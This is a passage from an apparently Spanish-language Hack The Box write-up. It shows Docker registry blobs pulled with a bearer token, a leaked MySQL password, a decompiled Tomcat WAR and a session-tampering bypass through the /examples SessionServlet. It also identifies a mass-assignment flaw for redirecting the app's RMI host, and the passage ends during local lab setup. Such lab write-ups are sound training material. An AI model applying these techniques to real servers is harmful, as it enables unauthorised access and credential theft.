eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA' | jq -r '.fsLayers[].blobSum' | sort -u)
$ for b in $(echo "$blobs"); do curl -k https://10.10.11.223:5000/v2/hosting-app/blobs/$b -so $b.tar.gz -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA'; done
$ ls
sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz
sha256:0da484dfb0612bb168b7258b27e745d0febf56d22b8f10f459ed0d1dfe345110.tar.gz
sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7.tar.gz
sha256:497760bf469e19f1845b7f1da9cfe7e053beb57d4908fb2dff2a01a9f82211f9.tar.gz
sha256:4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42.tar.gz
sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4.tar.gz
sha256:7b43ca85cb2c7ccc62e03067862d35091ee30ce83e7fed9e135b1ef1c6e2e71b.tar.gz
sha256:9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c.tar.gz
sha256:9e700b74cc5b6f81ed6513fa03c7b6ab11a71deb8e27604632f723f81aca3268.tar.gz
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
sha256:ab55eca3206e27506f679b41b39ba0e4c98996fa347326b6629dae9163b4c0ec.tar.gz
sha256:b5ac54f57d23fa33610cb14f7c21c71aa810e58884090cead5e3119774a202dc.tar.gz
sha256:e4cc5f625cda9caa32eddae6ac29b170c8dc1102988b845d7ab637938f2f6f84.tar.gz
sha256:f7b708f947c32709ecceaffd85287d5eb9916a3013f49c8416228ef22c2bf85e.tar.gz
sha256:fa7536dd895ade2421a9a0fcf6e16485323f9e2e45e917b1ff18b0f648974626.tar.gz
sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28.tar.gz
Ahí los tenemos como archivos comprimidos. Echemos un vistazo al primero:
$ file sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz
sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz: gzip compressed data, original size modulo 2^32 2560
$ tar xvfz sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz
x etc/
x etc/hosting.ini
$ cat etc/hosting.ini
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=localhost
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002
Bueno, contiene información confidencial, pero es inútil por el momento.
Descompilación de un archivo WAR
Hay otro blob que contiene el archivo WAR que se ejecuta en el servidor:
$ tar xvfz sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7.tar.gz
x usr/
x usr/local/
x usr/local/tomcat/
x usr/local/tomcat/webapps/
x usr/local/tomcat/webapps/hosting.war
Un WAR es simplemente un JAR para aplicaciones web:
$ file usr/local/tomcat/webapps/hosting.war
usr/local/tomcat/webapps/hosting.war: Java archive data (JAR)
$ cp usr/local/tomcat/webapps/hosting.war hosting.jar
Podemos ir a javadecompilers.com y cargar el JAR para obtener el código fuente en Java legible (el descompilador CFR funciona bien por lo general):
Además, aparte de clases de Java, un WAR generalmente contiene archivos de front-end (HTML, CSS, JS, imágenes), archivos de configuración (principalmente XML) y archivos JSP. Para obtenerlos, debemos descomprimir el archivo JAR (que en realidad es un archivo ZIP):
$ xxd hosting.jar | head
00000000: 504b 0304 1400 0808 0800 ad99 7b56 0000 PK..........{V..
00000010: 0000 0000 0000 0000 0000 1400 0400 4d45 ..............ME
00000020: 5441 2d49 4e46 2f4d 414e 4946 4553 542e TA-INF/MANIFEST.
00000030: 4d46 feca 0000 f34d cccb 4c4b 2d2e d10d MF.....M..LK-...
00000040: 4b2d 2ace cccf b352 30d4 33e0 e572 2e4a K-*....R0.3..r.J
00000050: 4d2c 494d d175 aab4 52f0 cc2b 49cd c9c9 M,IM.u..R..+I...
00000060: f452 f074 7175 e4e5 722a cdcc 2901 4ba4 .R.tqu..r*..).K.
00000070: 14e7 e797 4004 5274 bd52 b2ad 14ca 2086 ....@.Rt.R.... .
00000080: 2818 020d d133 34e4 e5e2 e502 0050 4b07 (....34......PK.
00000090: 08b5 a6d0 d257 0000 0061 0000 0050 4b03 .....W...a...PK.
$ cp hosting.jar hosting.zip
$ unzip -l hosting.zip
Archive: hosting.zip
Length Date Time Name
--------- ---------- ----- ----
97 03-27-2023 19:13 META-INF/MANIFEST.MF
0 03-27-2023 19:13 WEB-INF/
0 03-27-2023 19:13 WEB-INF/jsp/
0 03-27-2023 19:13 WEB-INF/jsp/domain/
17620 03-27-2023 19:13 WEB-INF/jsp/domain/list.jsp
1042 03-27-2023 19:13 WEB-INF/jsp/domain/new.jsp
0 03-27-2023 19:13 WEB-INF/jsp/auth/
4971 03-27-2023 19:13 WEB-INF/jsp/auth/signup.jsp
4301 03-27-2023 19:13 WEB-INF/jsp/auth/signin.jsp
21796 03-27-2023 19:13 WEB-INF/jsp/dashboard.jsp
6521 03-27-2023 19:13 WEB-INF/jsp/view.jsp
3844 03-27-2023 19:13 WEB-INF/jsp/configuration.jsp
9921 03-27-2023 19:13 WEB-INF/jsp/profile.jsp
6908 03-27-2023 19:13 WEB-INF/jsp/edit.jsp
849 03-27-2023 19:13 WEB-INF/web.xml
0 03-27-2023 19:13 WEB-INF/lib/
587402 03-27-2023 19:13 WEB-INF/lib/commons-lang3-3.12.0.jar
327135 03-27-2023 19:13 WEB-INF/lib/commons-io-2.11.0.jar
76204 03-27-2023 19:13 WEB-INF/lib/hibernate-commons-annotations-5.1.0.Final.jar
3409747 03-27-2023 19:13 WEB-INF/lib/tomcat-embed-core-9.0.41.jar
3472118 03-27-2023 19:13 WEB-INF/lib/byte-buddy-1.10.10.jar
2321813 03-27-2023 19:13 WEB-INF/lib/mysql-connector-java-8.0.17.jar
32103 03-27-2023 19:13 WEB-INF/lib/juel-api-2.2.7.jar
66469 03-27-2023 19:13 WEB-INF/lib/jboss-logging-3.3.2.Final.jar
13349 03-27-2023 19:13 WEB-INF/lib/tomcat-annotations-api-9.0.41.jar
164556 03-27-2023 19:13 WEB-INF/lib/javax.persistence-api-2.2.jar
323630 03-27-2023 19:13 WEB-INF/lib/dom4j-2.1.3.jar
195684 03-27-2023 19:13 WEB-INF/lib/jandex-2.1.3.Final.jar
56674 03-27-2023 19:13 WEB-INF/lib/javax.activation-api-1.2.0.jar
108892 03-27-2023 19:13 WEB-INF/lib/juel-impl-2.2.7.jar
1421323 03-27-2023 19:13 WEB-INF/lib/protobuf-java-3.6.1.jar
1715750 03-27-2023 19:13 WEB-INF/lib/freemarker-2.3.31.jar
36073 03-27-2023 19:13 WEB-INF/lib/stax-ex-1.8.jar
7293382 03-27-2023 19:13 WEB-INF/lib/hibernate-core-5.4.16.Final.jar
25523 03-27-2023 19:13 WEB-INF/lib/istack-commons-runtime-3.0.7.jar
777669 03-27-2023 19:13 WEB-INF/lib/javassist-3.24.0-GA.jar
1093432 03-27-2023 19:13 WEB-INF/lib/jaxb-runtime-2.3.1.jar
26290 03-27-2023 19:13 WEB-INF/lib/jboss-transaction-api_1.2_spec-1.1.1.Final.jar
128076 03-27-2023 19:13 WEB-INF/lib/jaxb-api-2.3.1.jar
445288 03-27-2023 19:13 WEB-INF/lib/antlr-2.7.7.jar
311876 03-27-2023 19:13 WEB-INF/lib/FastInfoset-1.2.15.jar
414240 03-27-2023 19:13 WEB-INF/lib/jstl-1.2.jar
72446 03-27-2023 19:13 WEB-INF/lib/commons-fileupload-1.4.jar
70288 03-27-2023 19:13 WEB-INF/lib/txw2-2.3.1.jar
67815 03-27-2023 19:13 WEB-INF/lib/classmate-1.5.1.jar
559366 03-27-2023 19:13 WEB-INF/lib/commons-collections-3.1.jar
0 03-27-2023 19:13 WEB-INF/classes/
0 03-27-2023 19:13 WEB-INF/classes/com/
0 03-27-2023 19:13 WEB-INF/classes/com/htb/
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/
989 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/FileService.class
2468 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/AbstractFile.class
2109 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/RMIClientWrapper.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/filter/
2566 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/filter/AuthenticationFilter.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/
3293 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/CryptUtil.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/
1227 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/ConfigSchedule$1.class
3876 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/Settings.class
892 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/ConfigWatcher.class
2022 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/ConfigSchedule.class
986 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/Constants.class
2457 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/FileUtil.class
4620 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/PasswordAuthentication.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/edits/
3211 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/edits/EditFileSessionManager.class
3023 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/edits/EditFileSession.class
5569 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/StringUtil.class
4636 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/DisplayUtil.class
3144 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/HibernateUtil.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/
3172 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/RegistrationServlet.class
1812 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/AbstractServlet.class
3609 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/AuthenticationServlet.class
3934 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/ProfileServlet.class
3798 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/ConfigurationServlet.class
1324 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/DashboardServlet.class
10359 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/DomainServlet.class
4034 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/ViewServlet.class
1465 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/LogoutServlet.class
2572 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/AutoSaveServlet.class
4462 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/EditServlet.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/security/
3911 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/security/IOSecurity.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/dao/
4379 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/dao/UserDAO.class
2442 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/dao/DomainDAO.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/model/
4866 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/model/Domain.class
4624 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/model/User.class
1532 03-27-2023 19:13 500.jsp
1565 03-27-2023 19:13 403.jsp
0 03-27-2023 19:13 resources/
0 03-27-2023 19:13 resources/css/
2934019 03-27-2023 19:13 resources/css/tailwind.min.css
0 03-27-2023 19:13 META-INF/
1685 03-27-2023 19:13 404.jsp
22236 03-27-2023 19:13 template.html
71 03-27-2023 19:13 index.jsp
--------- -------
28761442 101 files
$ unzip -q hosting.zip
Solo para terminar con la inspección de imágenes de Docker, podemos encontrar este script:
$ tar xvfz sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4.tar.gz
x usr/
x usr/local/
x usr/local/bin/
x usr/local/bin/docker-java-home
$ cat usr/local/bin/docker-java-home
#!/bin/sh
set -e
dirname "$(dirname "$(readlink -f "$(which javac || which java)")")"
También hay blobs que contienen el archivo de configuración tomcat-users.xml
, donde se almacena la contraseña de administración generalmente, pero no hay ninguna contraseña allí.
Análisis del código fuente
El código fuente de Java de la aplicación web es abrumador, solo pondré partes específicas que son relevantes.
El proyecto está estructurado de la siguiente manera:
security
: Contiene una clase que hace algunas verificaciones de autorización y funciones de sanitizaciónmodel
: Aquí hay dos clases llamadasUser
yDomain
, que son los objetos principales manejados por la aplicación webfilter
: Esta se suele conocer como middleware en otros frameworks, simplemente verifica si las solicitudes entrantes se autentican o noservices
: Aquí tenemos todos los servlets (controladores en términos de Java):AbstractServlet
AuthenticationServlet
AutoSaveServlet
ConfigurationServlet
DashboardServlet
DomainServlet
EditServlet
LogoutServlet
ProfileServlet
RegistrationServlet
ViewServlet
dao
: Estos son los objetos de acceso a datos, utilizados para acceder a la base de datos MySQL utilizandoHibernate
(UserDAO
yDomainDAO
). No parece haber vulnerabilidades relacionadas con SQL aquírmi
: Esto significa invocación de métodos remotos (Remote Method Invocation), contiene una clase que implementa un cliente RMI (RMIClientWrapper
)utils
: Solo define funciones de utilidad empleadas por otras clases
En resumen, esta es la estructura del proyecto:
$ tree WEB-INF META-INF
WEB-INF
├── classes
│ └── com
│ └── htb
│ └── hosting
│ ├── dao
│ │ ├── DomainDAO.class
│ │ └── UserDAO.class
│ ├── filter
│ │ └── AuthenticationFilter.class
│ ├── model
│ │ ├── Domain.class
│ │ └── User.class
│ ├── rmi
│ │ ├── AbstractFile.class
│ │ ├── FileService.class
│ │ └── RMIClientWrapper.class
│ ├── security
│ │ └── IOSecurity.class
│ ├── services
│ │ ├── AbstractServlet.class
│ │ ├── AuthenticationServlet.class
│ │ ├── AutoSaveServlet.class
│ │ ├── ConfigurationServlet.class
│ │ ├── DashboardServlet.class
│ │ ├── DomainServlet.class
│ │ ├── EditServlet.class
│ │ ├── LogoutServlet.class
│ │ ├── ProfileServlet.class
│ │ ├── RegistrationServlet.class
│ │ └── ViewServlet.class
│ └── utils
│ ├── Constants.class
│ ├── CryptUtil.class
│ ├── DisplayUtil.class
│ ├── FileUtil.class
│ ├── HibernateUtil.class
│ ├── PasswordAuthentication.class
│ ├── StringUtil.class
│ ├── config
│ │ ├── ConfigSchedule$1.class
│ │ ├── ConfigSchedule.class
│ │ ├── ConfigWatcher.class
│ │ └── Settings.class
│ └── edits
│ ├── EditFileSession.class
│ └── EditFileSessionManager.class
├── jsp
│ ├── auth
│ │ ├── signin.jsp
│ │ └── signup.jsp
│ ├── configuration.jsp
│ ├── dashboard.jsp
│ ├── domain
│ │ ├── list.jsp
│ │ └── new.jsp
│ ├── edit.jsp
│ ├── profile.jsp
│ └── view.jsp
├── lib
│ ├── FastInfoset-1.2.15.jar
│ ├── antlr-2.7.7.jar
│ ├── byte-buddy-1.10.10.jar
│ ├── classmate-1.5.1.jar
│ ├── commons-collections-3.1.jar
│ ├── commons-fileupload-1.4.jar
│ ├── commons-io-2.11.0.jar
│ ├── commons-lang3-3.12.0.jar
│ ├── dom4j-2.1.3.jar
│ ├── freemarker-2.3.31.jar
│ ├── hibernate-commons-annotations-5.1.0.Final.jar
│ ├── hibernate-core-5.4.16.Final.jar
│ ├── istack-commons-runtime-3.0.7.jar
│ ├── jandex-2.1.3.Final.jar
│ ├── javassist-3.24.0-GA.jar
│ ├── javax.activation-api-1.2.0.jar
│ ├── javax.persistence-api-2.2.jar
│ ├── jaxb-api-2.3.1.jar
│ ├── jaxb-runtime-2.3.1.jar
│ ├── jboss-logging-3.3.2.Final.jar
│ ├── jboss-transaction-api_1.2_spec-1.1.1.Final.jar
│ ├── jstl-1.2.jar
│ ├── juel-api-2.2.7.jar
│ ├── juel-impl-2.2.7.jar
│ ├── mysql-connector-java-8.0.17.jar
│ ├── protobuf-java-3.6.1.jar
│ ├── stax-ex-1.8.jar
│ ├── tomcat-annotations-api-9.0.41.jar
│ ├── tomcat-embed-core-9.0.41.jar
│ └── txw2-2.3.1.jar
└── web.xml
META-INF
└── MANIFEST.MF
19 directories, 74 files
Si miramos los servlets de services
, los reconoceremos a todos de las funcionalidades probadas anteriormente. Pero hay uno llamado ConfigurationServlet
que no fue posible probar. Este es el código Java para esta clase:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.services.AbstractServlet
* com.htb.hosting.services.ConfigurationServlet
* com.htb.hosting.utils.config.Settings
* javax.servlet.RequestDispatcher
* javax.servlet.ServletException
* javax.servlet.ServletRequest
* javax.servlet.ServletResponse
* javax.servlet.annotation.WebServlet
* javax.servlet.http.HttpServletRequest
* javax.servlet.http.HttpServletResponse
*/
package com.htb.hosting.services;
import com.htb.hosting.services.AbstractServlet;
import com.htb.hosting.utils.config.Settings;
import java.io.IOException;
import java.util.HashMap;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/*
* Exception performing whole class analysis ignored.
*/
@WebServlet(name="reconfigure", value={"/reconfigure"})
public class ConfigurationServlet
extends AbstractServlet {
private static final long serialVersionUID = -2336661269816738483L;
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
rd.include((ServletRequest)request, (ServletResponse)response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
HashMap parameterMap = new HashMap();
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Settings.updateBy(parameterMap);
RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
request.setAttribute("message", (Object)"Settings updated");
rd.include((ServletRequest)request, (ServletResponse)response);
}
private static boolean checkManager(HttpServletRequest request, HttpServletResponse response) throws IOException {
boolean isManager;
boolean bl = isManager = request.getSession().getAttribute("s_IsLoggedInUserRoleManager") != null;
if (!isManager) {
response.sendRedirect(request.getContextPath() + "/panel");
}
return isManager;
}
public void destroy() {
}
}
Como se puede ver, en ambos doGet
y doPost
hay una comprobación para ver si tenemos s_IsLoggedInUserRoleManager
configurado en nuestra sesión (llama a checkManager
):
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
Explotación de Tomcat y nginx
Ya sabemos que el servidor está ejecutando Tomcat. Además, en el puerto 443 hay un servidor nginx que actúa como un proxy inverso (se puede ver en el escaneo inicial de nmap
). Hay vulnerabilidades que pueden suceder con esta configuración:
- Path traversal: Mas información en acunetix.com
- Modificación de la sesión: Mas información en acunetix.com
Ambos son explotables. Podemos intentar acceder /manager/html
(el panel de administración de Tomcat):
Pero como no conocemos las credenciales (las típicas no funcionan), recibimos un error 401:
Aquí podemos hacer que un error 404 filtre la versión específica de Tomcat (9.0.2), en caso de que sea útil más adelante:
La segunda vulnerabilidad intenta acceder a /examples
, que contiene algunos servlets que se pueden usar:
El que es crítico es SessionServlet
, porque nos permite modificar nuestro objeto de sesión como queramos:
Por ejemplo, podemos poner s_IsLoggedInUserRoleManager
a true
:
Y si volvemos a nuestro perfil, ahora tenemos una opción “Configuration”:
Aquí se nos permite cambiar la cantidad máxima de dominios y el valor predeterminado del archivo index.html
(esto podría ser útil si tuviéramos que usar un ataque XSS):
Sin embargo, echemos un vistazo de nuevo a ConfigurationServlet
, más precisamente, a doPost
:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
HashMap parameterMap = new HashMap();
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Settings.updateBy(parameterMap);
RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
request.setAttribute("message", (Object)"Settings updated");
rd.include((ServletRequest)request, (ServletResponse)response);
}
Estas líneas:
HashMap parameterMap = new HashMap();
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Settings.updateBy(parameterMap);
Está tomando todos los parámetros en la petición web y colocándolos en un objeto HashMap
que se pasa a Settings.updateBy
:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.utils.Constants
* com.htb.hosting.utils.StringUtil
* com.htb.hosting.utils.config.Settings
*/
package com.htb.hosting.utils.config;
import com.htb.hosting.utils.Constants;
import com.htb.hosting.utils.StringUtil;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Map;
import java.util.Properties;
/*
* Exception performing whole class analysis ignored.
*/
public class Settings {
private static Properties prop = null;
public static void updateBy(Map<String, String> parameterMap) {
try {
parameterMap.forEach((k, v) -> prop.put(k, v));
prop.store(new FileOutputStream(Constants.SETTINGS_FILE), null);
}
catch (IOException e) {
e.printStackTrace();
}
}
// ...
}
Básicamente, se toman todos los pares clave-valor del objeto HashMap
y se escriben en un archivo (/etc/hosting.ini
):
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.utils.Constants
*/
package com.htb.hosting.utils;
import java.io.File;
public interface Constants {
public static final String S_USER_ID = "s_LoggedInUserUUID";
public static final String S_USER_NAME = "s_DisplayLoggedInUsernameSafe";
public static final String S_IS_USER_ROLE_MGR = "s_IsLoggedInUserRoleManager";
public static final String SAFE_FILE = "safeFile";
public static final String BASE_DIR = "baseDir";
public static final String EDIT_FILE = "editFile";
public static final String SELECTED_DOMAIN = "domain";
public static final String CREATE_DOMAIN = "new";
public static final String ROLE_MGR = "manager";
public static final String ROLE_CUSTOMER = "customer";
public static final String KEY_MAX_DOMAINS = "domains.max";
public static final String KEY_DOMAIN_TEMPLATE = "domains.start-template";
public static final File SETTINGS_FILE = new File("/etc/hosting.ini");
}
Recordemos el contenido de /etc/hosting.ini
:
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=localhost
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002
Aunque la página de front-end (JSP) solo permite cambiar domains.start-template
y domains.max
, el servlet no comprueba los parámetros. Por lo tanto, tenemos una vulnerabilidad de asignación en masa aquí, porque podemos modificar cualquiera de las configuraciones anteriores. El que parece prometedor es el de rmi.host
, porque podemos apuntarlo a nuestra máquina de atacante y decirle al cliente RMI que ejecute un método (malicioso) definido por nosotros.
Este es el código para la clase RMIClientWrapper
:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.rmi.FileService
* com.htb.hosting.rmi.RMIClientWrapper
* com.htb.hosting.utils.config.Settings
*/
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.FileService;
import com.htb.hosting.utils.config.Settings;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.logging.Logger;
public class RMIClientWrapper {
private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());
public static FileService get() {
try {
String rmiHost = (String)Settings.get(String.class, (String)"rmi.host", null);
if (!rmiHost.contains(".htb")) {
rmiHost = "registry.webhosting.htb";
}
System.setProperty("java.rmi.server.hostname", rmiHost);
System.setProperty("com.sun.management.jmxremote.rmi.port", "9002");
log.info(String.format("Connecting to %s:%d", rmiHost, Settings.get(Integer.class, (String)"rmi.port", (Object)9999)));
Registry registry = LocateRegistry.getRegistry(rmiHost, (Integer)Settings.get(Integer.class, (String)"rmi.port", (Object)9999));
return (FileService)registry.lookup("FileService");
}
catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
}
Obsérvese que rmi.host
debe contener la cadena .htb
.
Se supone que el servidor RMI implementa las funciones que aparecen en el interfaz FileService
:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.rmi.AbstractFile
* com.htb.hosting.rmi.FileService
*/
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.AbstractFile;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface FileService
extends Remote {
public List<AbstractFile> list(String var1, String var2) throws RemoteException;
public boolean uploadFile(String var1, String var2, byte[] var3) throws IOException;
public boolean delete(String var1) throws RemoteException;
public boolean createDirectory(String var1, String var2) throws RemoteException;
public byte[] view(String var1, String var2) throws IOException;
public AbstractFile getFile(String var1, String var2) throws RemoteException;
public AbstractFile getFile(String var1) throws RemoteException;
public void deleteDomain(String var1) throws RemoteException;
public boolean newDomain(String var1) throws RemoteException;
public byte[] view(String var1) throws RemoteException;
}
Explotación de RMI
Por el momento, ejecutemos el archivo WAR localmente y probemos el ataque. Para no obtener errores, necesitamos configurar un servidor MySQL con estas tablas (archivo llamado como docker-entrypoint-initdb.d/db.sql
):
CREATE TABLE users (
id binary(16) NOT NULL,
nickname VARCHAR(255) NOT NULL,
email VARCHAR(255) NOT NULL,
password_hash VARCHAR(255) NOT NULL,
role VARCHAR(255) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE domains (
id binary(16) NOT NULL,
description VARCHAR(255) NOT NULL,
vhost VARCHAR(255) NOT NULL,
user_id binary(16) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY (user_id) REFERENCES users (id)
);
La información anterior proviene de models
(clases User
y Domain
). También, UUID
está soportado por MySQL como binary(16)
(más información aquí).
Usaré contenedores de Docker:
$ docker run --rm -v "$PWD/docker-entrypoint-initdb.d:/docker-entrypoint-initdb.d" -e MYSQL_DATABASE=hosting -e MYSQL_ROOT_PASSWORD=O8lBvQUBPU4CMbvJmYqY -p 3306:3306 -it mysql
[Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.34-1.el8 started.
[Note] [Entrypoint]: Switching to dedicated user 'mysql'
[Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.34-1.el8 started.
[Note] [Entrypoint]: Initializing database files
